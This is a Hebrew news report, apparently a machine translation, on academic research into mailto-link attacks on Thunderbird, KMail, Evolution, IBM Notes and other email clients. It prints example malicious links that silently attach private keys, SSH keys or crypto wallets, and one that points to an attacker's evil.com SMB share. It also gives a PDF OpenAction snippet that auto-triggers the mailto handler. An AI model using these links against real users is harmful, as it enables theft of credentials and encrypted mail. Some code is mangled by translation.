תקיפת משתמשי לקוח אימייל באמצעות קישורי "mailto:".

חוקרים מאוניברסיטת רוהר בוכום (גרמניה) מְנוּתָח (PDF) התנהגות של לקוחות דואר בעת עיבוד קישורי "mailto:" עם פרמטרים מתקדמים. חמישה מתוך עשרים לקוחות הדוא"ל שנבדקו היו חשופים להתקפה שתמרנה החלפת משאבים באמצעות הפרמטר "צירוף". שישה לקוחות נוספים של אימייל היו חשופים להתקפת החלפת מפתחות PGP ו-S/MIME, ושלושה לקוחות היו חשופים להתקפה כדי לחלץ את התוכן של הודעות מוצפנות.

קישורים «mailto:"משמשים לאוטומציה של פתיחת לקוח דוא"ל על מנת לכתוב מכתב לנמען שצוין בקישור. בנוסף לכתובת, ניתן לציין פרמטרים נוספים במסגרת הקישור, כמו נושא המכתב ותבנית לתוכן טיפוסי. המתקפה המוצעת עושה מניפולציות על פרמטר "צרף", המאפשר לך לצרף קובץ מצורף להודעה שנוצרה.

לקוחות הדואר Thunderbird, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089) ו-Pegasus Mail היו חשופים למתקפה טריוויאלית המאפשרת לך לצרף אוטומטית כל קובץ מקומי, שצוין באמצעות קישור כמו "mailto:?attach=path_to_file". הקובץ מצורף ללא הצגת אזהרה, כך שללא תשומת לב מיוחדת ייתכן שהמשתמש לא יבחין שהמכתב יישלח עם קובץ מצורף.

לדוגמה, שימוש בקישור כמו "mailto:[מוגן בדוא"ל]&subject=Title&body=Text&attach=~/.gnupg/secring.gpg" אתה יכול להכניס מפתחות פרטיים מ-GnuPG לתוך המכתב. אתה יכול גם לשלוח את התוכן של ארנקי קריפטו (~/.bitcoin/wallet.dat), מפתחות SSH (~/.ssh/id_rsa) וכל הקבצים הנגישים למשתמש. יתר על כן, Thunderbird מאפשר לך לצרף קבוצות של קבצים על ידי מסיכה באמצעות מבנים כמו "attach=/tmp/*.txt".

בנוסף לקבצים מקומיים, חלק מלקוחות הדוא"ל מעבדים קישורים לאחסון רשת ונתיבים בשרת ה-IMAP. בפרט, IBM Notes מאפשרת לך להעביר קובץ מספריית רשת בעת עיבוד קישורים כמו "attach=\\evil.com\dummyfile", כמו גם ליירט פרמטרים של אימות NTLM על ידי שליחת קישור לשרת SMB שנשלט על ידי התוקף (הבקשה תישלח עם משתמש פרמטרי האימות הנוכחי).

Thunderbird מעבד בהצלחה בקשות כמו "attach=imap:///fetch>UID>/INBOX>1/", המאפשרות לך לצרף תוכן מתיקיות בשרת ה-IMAP. במקביל, הודעות שאוחזרו מ-IMAP, מוצפנות באמצעות OpenPGP ו-S/MIME, מפוענחות אוטומטית על ידי לקוח הדואר לפני השליחה. המפתחים של Thunderbird היו הודיעו על הבעיה בפברואר ובגיליון ת'אנדרבירד הבעיה כבר תוקנה (סניפי Thunderbird 52, 60 ו-68 נותרו פגיעים).

גרסאות ישנות של Thunderbird היו פגיעות גם לשתי גרסאות תקיפה אחרות ב-PGP ו-S/MIME שהוצעו על ידי החוקרים. במיוחד, Thunderbird, כמו גם OutLook, PostBox, eM Client, MailMate ו-R2Mail2, היו נתונים למתקפת החלפת מפתח, שנגרמה מהעובדה שלקוח הדואר מייבא ומתקין אישורים חדשים המועברים בהודעות S/MIME, מה שמאפשר התוקף לארגן החלפה של מפתחות ציבוריים שכבר מאוחסנים על ידי המשתמש.

המתקפה השנייה, ש-Thunderbird, PostBox ו-MailMate רגישות לה, מתמרנת את תכונות המנגנון לשמירה אוטומטית של הודעות טיוטה ומאפשרת, באמצעות פרמטרי mailto, ליזום פענוח של הודעות מוצפנות או הוספת חתימה דיגיטלית להודעות שרירותיות, עם שידור לאחר מכן של התוצאה לשרת ה-IMAP של התוקף. בהתקפה זו, הטקסט המוצפן מועבר דרך הפרמטר "body", ותג "meta refresh" משמש כדי ליזום קריאה לשרת ה-IMAP של התוקף. לדוגמה: ' '

לעיבוד אוטומטי של קישורי "mailto:" ללא אינטראקציה של המשתמש, ניתן להשתמש במסמכי PDF שתוכננו במיוחד - פעולת OpenAction ב-PDF מאפשרת לך להפעיל אוטומטית את המטפל ב-mailto בעת פתיחת מסמך:

% PDF-1.5
1 0 חפץ
<< /Type /Catalog /OpenAction [2 0 R] >>
endobj

2 0 חפץ
<< /Type /Action /S /URI/URI (mailto:?body=——BEGIN PGP MESSAGE——[…])>>
endobj

מקור: OpenNet.ru